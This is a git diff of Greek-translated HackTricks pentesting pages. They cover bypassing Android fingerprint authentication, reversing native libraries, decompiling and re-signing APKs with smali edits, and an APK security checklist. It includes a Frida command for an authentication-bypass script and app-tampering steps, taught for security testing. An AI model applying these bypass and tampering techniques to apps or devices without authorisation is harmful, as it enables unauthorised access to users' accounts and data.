Τα εργαλεία αντίστροφης μηχανικής όπως το `APKTool`, `dex2jar` και `JD-GUI` μπορούν να χρησιμοποιηθούν για να αποσυμπιέσουν μια εφαρμογή Android, να διαβάσουν τον πηγαίο κώδικα και να κατανοήσουν τον μηχανισμό αυθεντικοποίησης. Τα βήματα περιλαμβάνουν γενικά:
1. **Αποσυμπίεση του APK**: Μετατροπή του αρχείου APK σε μια πιο αναγνώσιμη μορφή (όπως ο κώδικας Java).
2. **Ανάλυση του Κώδικα**: Αναζήτηση της υλοποίησης της αυθεντικοποίησης δακτυλικών αποτυπωμάτων και αναγνώριση πιθανών αδυναμιών (όπως μηχανισμοί εναλλακτικής αυθεντικοποίησης ή ακατάλληλοι έλεγχοι επικύρωσης).
@ -68,25 +73,31 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
## **Μέθοδος 5 Χρήση Εργαλείων Αυθεντικοποίησης Προσαρμοσμένων**
Υπάρχουν εξειδικευμένα εργαλεία και σενάρια σχεδιασμένα για να δοκιμάσουν και να παρακάμψουν μηχανισμούς αυθεντικοποίησης. Για παράδειγμα:
Υπάρχουν εξειδικευμένα εργαλεία και σενάρια σχεδιασμένα για να δοκιμάσουν και να παρακάμψουν τους μηχανισμούς αυθεντικοποίησης. Για παράδειγμα:
1. **MAGISK Modules**: Το MAGISK είναι ένα εργαλείο για Android που επιτρέπει στους χρήστες να αποκτούν πρόσβαση στη ρίζα των συσκευών τους και να προσθέτουν modules που μπορούν να τροποποιήσουν ή να παραποιήσουν πληροφορίες σε επίπεδο υλικού, συμπεριλαμβανομένων των δακτυλικών αποτυπωμάτων.
2. **Προσαρμοσμένα Σενάρια**: Μπορούν να γραφούν σενάρια για να αλληλεπιδρούν με την Android Debug Bridge (ADB) ή απευθείας με το backend της εφαρμογής για να προσομοιώσουν ή να παρακάμψουν την αυθεντικοποίηση δακτυλικών αποτυπωμάτων.
1. **MAGISK Modules**: Το MAGISK είναι ένα εργαλείο για Android που επιτρέπει στους χρήστες να αποκτούν πρόσβαση root στις συσκευές τους και να προσθέτουν modules που μπορούν να τροποποιήσουν ή να παραποιήσουν πληροφορίες σε επίπεδο υλικού, συμπεριλαμβανομένων των δακτυλικών αποτυπωμάτων.
2. **Προσαρμοσμένα Σενάρια**: Σενάρια μπορούν να γραφούν για να αλληλεπιδρούν με την Android Debug Bridge (ADB) ή απευθείας με το backend της εφαρμογής για να προσομοιώσουν ή να παρακάμψουν την αυθεντικοποίηση δακτυλικών αποτυπωμάτων.
## Αναφορές
* [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,4 +1,4 @@
# Ανάλυση Εγγενών Βιβλιοθηκών
# Αντίστροφη Μηχανική Εγγενών Βιβλιοθηκών
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -15,10 +15,16 @@
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
**Για περισσότερες πληροφορίες ελέγξτε:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
Οι εφαρμογές Android μπορούν να χρησιμοποιούν εγγενείς βιβλιοθήκες, συνήθως γραμμένες σε C ή C++, για εργασίες που απαιτούν υψηλή απόδοση. Οι δημιουργοί κακόβουλου λογισμικού χρησιμοποιούν επίσης αυτές τις βιβλιοθήκες, καθώς είναι πιο δύσκολο να αναλυθούν από τον κώδικα DEX. Η ενότητα τονίζει τις δεξιότητες αντίστροφης μηχανικής προσαρμοσμένες στο Android, αντί να διδάσκει γλώσσες συναρμολόγησης. Παρέχονται εκδόσεις ARM και x86 των βιβλιοθηκών για συμβατότητα.
Οι εφαρμογές Android μπορούν να χρησιμοποιούν εγγενείς βιβλιοθήκες, συνήθως γραμμένες σε C ή C++, για εργασίες που απαιτούν υψηλή απόδοση. Οι δημιουργοί κακόβουλου λογισμικού χρησιμοποιούν επίσης αυτές τις βιβλιοθήκες, καθώς είναι πιο δύσκολες στην αντίστροφη μηχανική από τον κωδικό DEX. Η ενότητα τονίζει τις δεξιότητες αντίστροφης μηχανικής προσαρμοσμένες στο Android, αντί να διδάσκει γλώσσες συναρμολόγησης. Παρέχονται εκδόσεις ARM και x86 των βιβλιοθηκών για συμβατότητα.
### Κύρια Σημεία:
@ -34,14 +40,14 @@
* **Φόρτωση & Εκτέλεση Βιβλιοθηκών:**
* Οι βιβλιοθήκες φορτώνονται στη μνήμη χρησιμοποιώντας `System.loadLibrary` ή `System.load`.
* Το JNI\_OnLoad εκτελείται κατά την φόρτωση της βιβλιοθήκης.
* Οι δηλωμένες από την Java εγγενείς μέθοδοι συνδέονται με εγγενείς συναρτήσεις, επιτρέποντας την εκτέλεση.
* Οι δηλωμένες εγγενείς μέθοδοι Java συνδέονται με εγγενείς συναρτήσεις, επιτρέποντας την εκτέλεση.
* **Σύνδεση Μεθόδων Java με Εγγενείς Συναρτήσεις:**
* **Δυναμική Σύνδεση:** Τα ονόματα συναρτήσεων στις εγγενείς βιβλιοθήκες ταιριάζουν με ένα συγκεκριμένο μοτίβο, επιτρέποντας την αυτόματη σύνδεση.
* **Στατική Σύνδεση:** Χρησιμοποιεί το `RegisterNatives` για σύνδεση, παρέχοντας ευελιξία στην ονοματολογία και τη δομή των συναρτήσεων.
* **Εργαλεία και Τεχνικές Αντίστροφης Μηχανικής:**
* Εργαλεία όπως το Ghidra και το IDA Pro βοηθούν στην ανάλυση εγγενών βιβλιοθηκών.
* Το `JNIEnv` είναι κρίσιμο για την κατανόηση των συναρτήσεων και των αλληλεπιδράσεων του JNI.
* Παρέχονται ασκήσεις για την εξάσκηση φόρτωσης βιβλιοθηκών, σύνδεσης μεθόδων και αναγνώρισης εγγενών συναρτήσεων.
* Το `JNIEnv` είναι κρίσιμο για την κατανόηση των συναρτήσεων και των αλληλεπιδράσεων JNI.
* Παρέχονται ασκήσεις για την πρακτική φόρτωσης βιβλιοθηκών, σύνδεσης μεθόδων και αναγνώρισης εγγενών συναρτήσεων.
### Πόροι:
@ -56,6 +62,12 @@
* [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,31 +15,37 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
Μερικές φορές είναι ενδιαφέρον να τροποποιήσετε τον κώδικα της εφαρμογής για να αποκτήσετε πρόσβαση σε κρυφές πληροφορίες (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να τον ξανασυμπιέσετε.
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
Sometimes it is interesting to modify the application code to access hidden information for you (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it.
**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
## Fast Way
Χρησιμοποιώντας το **Visual Studio Code** και την επέκταση [APKLab](https://github.com/APKLab/APKLab), μπορείτε να **αποσυμπιέσετε αυτόματα**, να τροποποιήσετε, **να ξανασυμπιέσετε**, να υπογράψετε και να εγκαταστήσετε την εφαρμογή χωρίς να εκτελέσετε καμία εντολή.
Using **Visual Studio Code** and the [APKLab](https://github.com/APKLab/APKLab) extension, you can **automatically decompile**, modify, **recompile**, sign & install the application without executing any command.
Ένα άλλο **script** που διευκολύνει πολύ αυτή την εργασία είναι [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
Another **script** that facilitates this task a lot is [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
## Decompile the APK
Χρησιμοποιώντας το APKTool μπορείτε να αποκτήσετε πρόσβαση στον **κώδικα smali και τους πόρους**:
Using APKTool you can access to the **smali code and resources**:
```bash
apktool d APP.apk
```
Αν το **apktool** σας δώσει οποιοδήποτε σφάλμα, δοκιμάστε[ να εγκαταστήσετε την **τελευταία έκδοση**](https://ibotpeaches.github.io/Apktool/install/)
Ορισμένα **ενδιαφέροντα αρχεία που θα πρέπει να εξετάσετε είναι**:
Ορισμένα **ενδιαφέροντα αρχεία που πρέπει να εξετάσετε είναι**:
* _res/values/strings.xml_ (και όλα τα xml μέσα στο res/values/\*)
* _res/values/strings.xml_ (και όλα τα xml μέσα σε res/values/\*)
* _AndroidManifest.xml_
* Οποιοδήποτε αρχείο με κατάληξη _.sqlite_ ή _.db_
Αν το `apktool` έχει **προβλήματα στην αποκωδικοποίηση της εφαρμογής** ρίξτε μια ματιά στο [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ή δοκιμάστε να χρησιμοποιήσετε το επιχείρημα **`-r`** (Μην αποκωδικοποιείτε τους πόρους). Στη συνέχεια, αν το πρόβλημα ήταν σε έναν πόρο και όχι στον πηγαίο κώδικα, δεν θα έχετε το πρόβλημα (δεν θα αποκωδικοποιήσετε επίσης τους πόρους).
Αν το `apktool` έχει **προβλήματα στην αποκωδικοποίηση της εφαρμογής**, ρίξτε μια ματιά στο [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ή δοκιμάστε να χρησιμοποιήσετε το επιχείρημα **`-r`** (Μην αποκωδικοποιείτε τους πόρους). Στη συνέχεια, αν το πρόβλημα ήταν σε έναν πόρο και όχι στον πηγαίο κώδικα, δεν θα έχετε το πρόβλημα (δεν θα αποκωδικοποιήσετε επίσης τους πόρους).
## Αλλαγή κώδικα smali
@ -49,11 +55,11 @@ apktool d APP.apk
* [Παραδείγματα αλλαγών Smali](smali-changes.md)
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
Ή μπορείτε να [**ελέγξετε παρακάτω μερικές εξηγήσεις για αλλαγές Smali**](smali-changes.md#modifying-smali).
Ή μπορείτε να [**ελέγξετε παρακάτω μερικές εξηγήσεις αλλαγών Smali**](smali-changes.md#modifying-smali).
## Ανακατασκευή του APK
Αφού τροποποιήσετε τον κώδικα μπορείτε να **ανακατασκευάσετε** τον κώδικα χρησιμοποιώντας:
Αφού τροποποιήσετε τον κώδικα, μπορείτε να **ανακατασκευάσετε** τον κώδικα χρησιμοποιώντας:
```bash
apktool b . #In the folder generated when you decompiled the application
```
@ -80,7 +86,7 @@ zipalign -v 4 infile.apk
```
### **Υπογράψτε το νέο APK (ξανά;)**
Αν **προτιμάτε** να χρησιμοποιήσετε [**apksigner**](https://developer.android.com/studio/command-line/) αντί για jarsigner, **πρέπει να υπογράψετε το apk** μετά την εφαρμογή **της βελτιστοποίησης με** zipalign. ΑΛΛΑ ΠΡΟΣΟΧΗ ΟΤΙ ΠΡΕΠΕΙ ΝΑ **ΥΠΟΓΡΑΨΕΤΕ ΤΗΝ ΕΦΑΡΜΟΓΗ ΜΙΑ ΦΟΡΑ** ΜΕ jarsigner (πριν το zipalign) Ή ΜΕ aspsigner (μετά το zipalign).
Αν **προτιμάτε** να χρησιμοποιήσετε [**apksigner**](https://developer.android.com/studio/command-line/) αντί για jarsigner, **πρέπει να υπογράψετε το apk** μετά την εφαρμογή **της βελτιστοποίησης με** zipalign. ΑΛΛΑ ΠΡΟΣΟΧΗ ΟΤΙ ΠΡΕΠΕΙ ΝΑ **ΥΠΟΓΡΑΨΕΤΕ ΤΗΝ ΕΦΑΡΜΟΓΗ ΜΟΝΟ ΜΙΑ ΦΟΡΑ** ΜΕ jarsigner (πριν το zipalign) Ή ΜΕ aspsigner (μετά το zipalign).
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
```
@ -162,7 +168,7 @@ Recommendations:
Θυμηθείτε να προσθέσετε 3 στον αριθμό των _.locals_ στην αρχή της συνάρτησης.
Αυτός ο κώδικας είναι έτοιμος να εισαχθεί στη **μέση μιας συνάρτησης** (**αλλάξτε** τον αριθμό των **μεταβλητών** όπως απαιτείται). Θα πάρει την **τιμή του this.o**, **θα την μετατρέψει** σε **String** και στη συνέχεια **θα κάνει** ένα **toast** με την τιμή του.
Αυτός ο κώδικας είναι προετοιμασμένος για να εισαχθεί στη **μέση μιας συνάρτησης** (**αλλάξτε** τον αριθμό των **μεταβλητών** όπως απαιτείται). Θα πάρει την **τιμή του this.o**, **θα την μετατρέψει** σε **String** και στη συνέχεια **θα κάνει** ένα **toast** με την τιμή του.
```bash
const/4 v10, 0x1
const/4 v11, 0x1
@ -174,6 +180,12 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,85 +1,97 @@
# Android APK Checklist
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
### [Μάθετε τα βασικά του Android](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [Βασικά](android-app-pentesting/#fundamentals-review)
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
* [ ] [Σημεία εισόδου](android-app-pentesting/#application-entry-points)
* [ ] [Δραστηριότητες](android-app-pentesting/#launcher-activity)
* [ ] [URL Schemes](android-app-pentesting/#url-schemes)
* [ ] [Content Providers](android-app-pentesting/#services)
* [ ] [Σχέδια URL](android-app-pentesting/#url-schemes)
* [ ] [Πάροχοι περιεχομένου](android-app-pentesting/#services)
* [ ] [Υπηρεσίες](android-app-pentesting/#services-1)
* [ ] [Broadcast Receivers](android-app-pentesting/#broadcast-receivers)
* [ ] [Δέκτες εκπομπών](android-app-pentesting/#broadcast-receivers)
* [ ] [Intents](android-app-pentesting/#intents)
* [ ] [Intent Filter](android-app-pentesting/#intent-filter)
* [ ] [Φίλτρο Intent](android-app-pentesting/#intent-filter)
* [ ] [Άλλα συστατικά](android-app-pentesting/#other-app-components)
* [ ] [Πώς να χρησιμοποιήσετε το ADB](android-app-pentesting/#adb-android-debug-bridge)
* [ ] [Πώς να τροποποιήσετε το Smali](android-app-pentesting/#smali)
### [Static Analysis](android-app-pentesting/#static-analysis)
### [Στατική Ανάλυση](android-app-pentesting/#static-analysis)
* [ ] Check for the use of [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), checks for noting if the mobile was rooted, if an emulator is being used and anti-tampering checks. [Διαβάστε αυτό για περισσότερες πληροφορίες](android-app-pentesting/#other-checks).
* [ ] Ευαίσθητες εφαρμογές (όπως οι τραπεζικές εφαρμογές) θα πρέπει να ελέγχουν αν το κινητό είναι rooted και να ενεργούν αναλόγως.
* [ ] Search for [interesting strings](android-app-pentesting/#looking-for-interesting-info) (κωδικοί πρόσβασης, URLs, API, κρυπτογράφηση, backdoors, tokens, Bluetooth uuids...).
* [ ] Special attention to [firebase ](android-app-pentesting/#firebase)APIs.
* [ ] Ελέγξτε τη χρήση [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), ελέγχους για το αν το κινητό ήταν root, αν χρησιμοποιείται εξομοιωτής και ελέγχους κατά της παραχάραξης. [Διαβάστε αυτό για περισσότερες πληροφορίες](android-app-pentesting/#other-checks).
* [ ] Ευαίσθητες εφαρμογές (όπως οι τραπεζικές εφαρμογές) θα πρέπει να ελέγχουν αν το κινητό είναι root και να ενεργούν αναλόγως.
* [ ] Αναζητήστε [ενδιαφέροντα strings](android-app-pentesting/#looking-for-interesting-info) (κωδικοί πρόσβασης, URLs, API, κρυπτογράφηση, backdoors, tokens, Bluetooth uuids...).
* [ ] Ιδιαίτερη προσοχή στα [firebase ](android-app-pentesting/#firebase)APIs.
* [ ] [Διαβάστε το manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] Check if the application is in debug mode and try to "exploit" it
* [ ] Check if the APK allows backups
* [ ] Exported Activities
* [ ] Content Providers
* [ ] Exposed services
* [ ] Broadcast Receivers
* [ ] URL Schemes
* [ ] Is the application s[aving data insecurely internally or externally](android-app-pentesting/#insecure-data-storage)?
* [ ] Is there any [password hard coded or saved in disk](android-app-pentesting/#poorkeymanagementprocesses)? Is the app [using insecurely crypto algorithms](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] All the libraries compiled using the PIE flag?
* [ ] Don't forget that there is a bunch of[ static Android Analyzers](android-app-pentesting/#automatic-analysis) that can help you a lot during this phase.
* [ ] Ελέγξτε αν η εφαρμογή είναι σε λειτουργία debug και προσπαθήστε να την "εκμεταλλευτείτε"
* [ ] Ελέγξτε αν το APK επιτρέπει αντίγραφα ασφαλείας
* [ ] Εξαγόμενες Δραστηριότητες
* [ ] Πάροχοι περιεχομένου
* [ ] Εκτεθειμένες υπηρεσίες
* [ ] Δέκτες εκπομπών
* [ ] Σχέδια URL
* [ ] Αποθηκεύει η εφαρμογή δεδομένα με ανασφαλή τρόπο εσωτερικά ή εξωτερικά](android-app-pentesting/#insecure-data-storage);
* [ ] Υπάρχει κάποιος [κωδικός πρόσβασης σκληρά κωδικοποιημένος ή αποθηκευμένος στο δίσκο](android-app-pentesting/#poorkeymanagementprocesses); Χρησιμοποιεί η εφαρμογή [ανασφαλείς αλγόριθμους κρυπτογράφησης](android-app-pentesting/#useofinsecureandordeprecatedalgorithms);
* [ ] Όλες οι βιβλιοθήκες έχουν μεταγλωττιστεί χρησιμοποιώντας την σημαία PIE;
* [ ] Μην ξεχνάτε ότι υπάρχει μια σειρά από [στατικούς αναλυτές Android](android-app-pentesting/#automatic-analysis) που μπορούν να σας βοηθήσουν πολύ σε αυτή τη φάση.
### [Dynamic Analysis](android-app-pentesting/#dynamic-analysis)
### [Δυναμική Ανάλυση](android-app-pentesting/#dynamic-analysis)
* [ ] Prepare the environment ([online](android-app-pentesting/#online-dynamic-analysis), [local VM or physical](android-app-pentesting/#local-dynamic-analysis))
* [ ] Is there any [unintended data leakage](android-app-pentesting/#unintended-data-leakage) (logging, copy/paste, crash logs)?
* [ ] [Confidential information being saved in SQLite dbs](android-app-pentesting/#sqlite-dbs)?
* [ ] [Exploitable exposed Activities](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [Exploitable Content Providers](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] [Exploitable exposed Services](android-app-pentesting/#exploiting-services)?
* [ ] [Exploitable Broadcast Receivers](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] Is the application [transmitting information in clear text/using weak algorithms](android-app-pentesting/#insufficient-transport-layer-protection)? is a MitM possible?
* [ ] [Inspect HTTP/HTTPS traffic](android-app-pentesting/#inspecting-http-traffic)
* [ ] This one is really important, because if you can capture the HTTP traffic you can search for common Web vulnerabilities (Hacktricks has a lot of information about Web vulns).
* [ ] Check for possible [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (probably some static code analysis will help here)
* [ ] [Frida](android-app-pentesting/#frida): Just Frida, use it to obtain interesting dynamic data from the application (maybe some passwords...)
* [ ] Προετοιμάστε το περιβάλλον ([online](android-app-pentesting/#online-dynamic-analysis), [τοπική VM ή φυσική](android-app-pentesting/#local-dynamic-analysis))
* [ ] Υπάρχει κάποια [μη προγραμματισμένη διαρροή δεδομένων](android-app-pentesting/#unintended-data-leakage) (καταγραφή, αντιγραφή/επικόλληση, αρχεία καταγραφής σφαλμάτων);
* [ ] [Εμπιστευτικές πληροφορίες που αποθηκεύονται σε SQLite dbs](android-app-pentesting/#sqlite-dbs);
* [ ] [Εκμεταλλεύσιμες εκτεθειμένες Δραστηριότητες](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass);
* [ ] [Εκμεταλλεύσιμες Πάροχοι περιεχομένου](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information);
* [ ] [Εκμεταλλεύσιμες εκτεθειμένες Υπηρεσίες](android-app-pentesting/#exploiting-services);
* [ ] [Εκμεταλλεύσιμες Δέκτες εκπομπών](android-app-pentesting/#exploiting-broadcast-receivers);
* [ ] Μεταδίδει η εφαρμογή πληροφορίες σε καθαρό κείμενο/χρησιμοποιεί αδύναμους αλγόριθμους](android-app-pentesting/#insufficient-transport-layer-protection); είναι δυνατός ένας MitM;
* [ ] [Επιθεωρήστε την κίνηση HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic);
* [ ] Αυτό είναι πραγματικά σημαντικό, γιατί αν μπορείτε να συλλάβετε την κίνηση HTTP μπορείτε να αναζητήσετε κοινές ευπάθειες Web (το Hacktricks έχει πολλές πληροφορίες σχετικά με τις ευπάθειες Web).
* [ ] Ελέγξτε για πιθανές [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (πιθανώς κάποια στατική ανάλυση κώδικα θα βοηθήσει εδώ);
* [ ] [Frida](android-app-pentesting/#frida): Μόνο Frida, χρησιμοποιήστε το για να αποκτήσετε ενδιαφέροντα δυναμικά δεδομένα από την εφαρμογή (ίσως κάποιους κωδικούς πρόσβασης...)
### Some obfuscation/Deobfuscation information
### Ορισμένες πληροφορίες obfuscation/Deobfuscation
* [ ] [Διαβάστε εδώ](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
